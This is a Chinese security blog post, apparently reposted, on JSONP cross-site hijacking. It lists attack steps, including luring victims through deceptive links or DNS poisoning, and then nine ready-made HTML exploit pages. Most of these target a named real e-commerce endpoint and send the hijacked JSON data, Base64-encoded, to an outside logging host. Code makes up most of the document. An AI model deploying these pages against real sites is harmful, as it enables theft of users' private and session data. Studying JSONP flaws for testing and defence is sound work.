【漏洞归纳】JSONP跨站劫持漏洞
2023-11-22 15:6:32 Author: 利刃信安攻防实验室(查看原文) 阅读量:7 收藏

JSONP跨站劫持漏洞的测试过程如下:

1.查找目标网站是否使用JSONP接口。可以通过查看响应头中是否包含"Content-Type: application/javascript"等信息判断。

2.分析JSONP接口和回调函数参数。常见的JSONP回调函数参数有:callback、cb、jsonp、jsonpCallback等。需要确定目标网站使用的具体参数名称。

3.构造跨站URL以劫持JSONP响应。URL格式通常为:   https://vulnerable_website/jsonp_endpoint?callback=attacker_controlled_callback

   其中attacker_controlled_callback是攻击者控制的JavaScript函数名称。

4.在自己控制的网站上设置一个attacker_controlled_callback 数,用于接收劫持的JSONP响应。

5.诱导目标用户访问构造的跨站URL。常见的诱导手段有:链接欺骗、DNS污染等。

6.当目标用户访问跨站URL时,请求会发送到vulnerable_website,该网站会返回一个JSONP响应,响应中会调用attacker_controlled_callback函数并传入数据作为参数。

7.attacker_controlled_callback函数在攻击者的网站上执行,从而接收到目标网站传回的JSONP数据,达到跨站劫持的目的。

8.分析劫持的数据,可能包含用户隐私、会话信息等敏感内容。

所以,JSONP 跨站劫持漏洞的测试关键在于确认目标网站使用 JSONP 接口,构造跨站 URL 以劫持响应,并在自己的网站上设置回调函数来接收数据。成功利用该漏洞可以获取目标网站敏感数据。

JSONP EXP

方法一:JavaScript调用

弹窗代码(弹窗JSON数据):

<!DOCTYPE html>

<html lang="en">

<head>

    <meta charset="UTF-8">

    <title>JSONP EXP跨域测试</title>

</head>

<body>

    <script>

        function jsoncallback(json){

            //new Image().src="http://jsonp.reiwgah.exeye.io/" + JSON.stringify(json)

            alert(JSON.stringify(json))

        }

    </script>

    <script src="http://m.gome.com.cn/active/userAgent?bust=1531376973100&=undefined&callback=jsoncallback"></script>

</body>

</html>

获取JSON数据并且Base64编码发送到远程服务器的DNSLOG:

<!DOCTYPE html>

<html lang="en">

<head>

    <meta charset="UTF-8">

    <title>JSONP EXP跨域测试</title>

</head>

<body>

    <script>

        function jsoncallback(json){

            new Image().src="http://jsonp.reiwgah.exeye.io/" + JSON.stringify(json)

            //alert(JSON.stringify(json))

        }

    </script>

    <script src="http://m.gome.com.cn/active/userAgent?bust=1531376973100&=undefined&callback=jsoncallback"></script>

</body>

</html>

<!DOCTYPE html>

<html lang="en">

<head>

    <meta charset="UTF-8">

    <title>JSONP EXP跨域测试</title>

</head>

<body>

    <script>

        function jsoncallback(json){

            new Image().src="http://jsonp.reiwgah.exeye.io/" + window.btoa(unescape(encodeURIComponent(JSON.stringify(json))))

            //alert(JSON.stringify(json))

        }

    </script>

    <script src="http://m.gome.com.cn/active/userAgent?bust=1531376973100&=undefined&callback=jsoncallback"></script>

</body>

</html>

方法二:jQuery jsonp跨域请求

弹窗代码(弹窗JSON数据):

<!DOCTYPE html>

<html lang="en">

<head>

    <meta charset="UTF-8">

    <title>JSONP EXP跨域测试</title>

</head>

<body>

    <script src="http://www.w3school.com.cn/jquery/jquery-1.11.1.min.js">

    </script>

    <script>

        $(document).ready(function(){

           $("#button").click(function(){

              $.ajax({    

                 url: "http://m.gome.com.cn/active/userAgent?bust=1531376973100&=undefined&callback=jsoncallback",

                type: "GET",       //定GET请求方法

                dataType: "jsonp", //定服务器返回的数据类型

                jsonp: "callback", //定参数名称

                jsonpCallback: "jsoncallback",

                                   //定回调函数名称

                success: function (data) {

                    var result = JSON.stringify(data);

                                   //json对象转成字符串

                    $("#text").val(result);

                            }

                        })

                    })

                })

    </script>

    <input id="button" type="button" value="发送一个JSONP请求并获取返回结果" />

    <textarea id="text" style="width: 400px; height: 100px;"></textarea>

</body>

</html>

获取JSON数据并且Base64编码发送到远程服务器的DNSLOG:

<!DOCTYPE html>

<html lang="en">

<head>

    <meta charset="UTF-8">

    <title>JSONP EXP跨域测试</title>

</head>

<body>

    <script src="http://www.w3school.com.cn/jquery/jquery-1.11.1.min.js">

    </script>

    <script>

        $(document).ready(function(){

           $("#button").click(function(){

              $.ajax({    

                 url: "http://m.gome.com.cn/active/userAgent?bust=1531376973100&=undefined&callback=jsoncallback",

                type: "GET",       //定GET请求方法

                dataType: "jsonp", //定服务器返回的数据类型

                jsonp: "callback", //定参数名称

                jsonpCallback: "jsoncallback",

                                   //定回调函数名称

                success: function (data) {

                    new Image().src="http://jsonp.reiwgah.exeye.io/" + window.btoa(unescape(encodeURIComponent(JSON.stringify(data))))

                    //var result = JSON.stringify(data);

                                   //json对象转成字符串

                    //$("#text").val(result);

                            }

                        })

                    })

                })

    </script>

    <input id="button" type="button" value="发送一个JSONP请求并获取返回结果" />

    <textarea id="text" style="width: 400px; height: 100px;"></textarea>

</body>

</html>

两者同时操作:

<!DOCTYPE html>

<html lang="en">

<head>

    <meta charset="UTF-8">

    <title>JSONP EXP跨域测试</title>

</head>

<body>

    <script src="http://www.w3school.com.cn/jquery/jquery-1.11.1.min.js">

    </script>

    <script>

        $(document).ready(function(){

           $("#button").click(function(){

              $.ajax({    

                 url: "http://m.gome.com.cn/active/userAgent?bust=1531376973100&=undefined&callback=jsoncallback",

                type: "GET",       //定GET请求方法

                dataType: "jsonp", //定服务器返回的数据类型

                jsonp: "callback", //定参数名称

                jsonpCallback: "jsoncallback",

                                   //定回调函数名称

                success: function (data) {                    

                    var result = JSON.stringify(data);

                                   //json对象转成字符串

                    $("#text").val(result);

                    new Image().src="http://jsonp.reiwgah.exeye.io/" + window.btoa(unescape(encodeURIComponent(result)))

                            }

                        })

                    })

                })

    </script>

    <input id="button" type="button" value="发送一个JSONP请求并获取返回结果" />

    <textarea id="text" style="width: 400px; height: 100px;"></textarea>

</body>

</html>

方法三:jQuery JacaScript调用

弹窗代码(弹窗JSON数据):

<!DOCTYPE html>

<html lang="en">

<head>

    <meta charset="UTF-8">

    <title>JSONP EXP跨域测试</title>

</head>

<body>

    <script src="http://www.w3school.com.cn/jquery/jquery-1.11.1.min.js">

    </script>

    <script>

        //回调函数

        function jsoncallback (result) {

            var data = JSON.stringify(result); //json对象转成字符串

            $("#text").val(data);

        }

        $(document).ready(function () {

            $("#button").click(function () {

                //向头部输入一个脚本,该脚本发起一个跨域请求

                $("head").append("<script src='http://m.gome.com.cn/active/userAgent?bust=1531376973100&=undefined&callback=jsoncallback'><\/script>");

            });

        });

    </script>

    <input id="button" type="button" value="发送一个JSONP请求并获取返回结果" />

    <textarea id="text" style="width: 400px; height: 100px;"></textarea>

</body>

</html>

获取JSON数据并且Base64编码发送到远程服务器的DNSLOG:

<!DOCTYPE html>

<html lang="en">

<head>

    <meta charset="UTF-8">

    <title>JSONP EXP跨域测试</title>

</head>

<body>

    <script src="http://www.w3school.com.cn/jquery/jquery-1.11.1.min.js">

    </script>

    <script>

        //回调函数

        function jsoncallback (result) {

            new Image().src="http://jsonp.reiwgah.exeye.io/" + window.btoa(unescape(encodeURIComponent(JSON.stringify(result))))

            //var data = JSON.stringify(result); //json对象转成字符串

            //$("#text").val(data);

        }

        $(document).ready(function () {

            $("#button").click(function () {

                //向头部输入一个脚本,该脚本发起一个跨域请求

                $("head").append("<script src='http://m.gome.com.cn/active/userAgent?bust=1531376973100&=undefined&callback=jsoncallback'><\/script>");

            });

        });

    </script>

    <input id="button" type="button" value="发送一个JSONP请求并获取返回结果" />

    <textarea id="text" style="width: 400px; height: 100px;"></textarea>

</body>

</html>

两者同时操作:

<!DOCTYPE html>

<html lang="en">

<head>

    <meta charset="UTF-8">

    <title>JSONP EXP跨域测试</title>

</head>

<body>

    <script src="http://www.w3school.com.cn/jquery/jquery-1.11.1.min.js">

    </script>

    <script>

        //回调函数

        function jsoncallback (result) {            

            var data = JSON.stringify(result); //json对象转成字符串

            $("#text").val(data);

            new Image().src="http://jsonp.reiwgah.exeye.io/" + window.btoa(unescape(encodeURIComponent(data)))

        }

        $(document).ready(function () {

            $("#button").click(function () {

                //向头部输入一个脚本,该脚本发起一个跨域请求

                $("head").append("<script src='http://m.gome.com.cn/active/userAgent?bust=1531376973100&=undefined&callback=jsoncallback'><\/script>");

            });

        });

    </script>

    <input id="button" type="button" value="发送一个JSONP请求并获取返回结果" />

    <textarea id="text" style="width: 400px; height: 100px;"></textarea>

</body>

</html>


文章来源: http://mp.weixin.qq.com/s?__biz=MzU1Mjk3MDY1OA==&mid=2247508076&idx=3&sn=909fded0bb2aa9c1873c10b2e4653df0&chksm=fbfb10a1cc8c99b7eb580e246578516fbc26964c70ec20ef10aea78e1b67f0c5790251a427a2&scene=0&xtrack=1#rd
如有侵权请联系:admin#unsafe.sh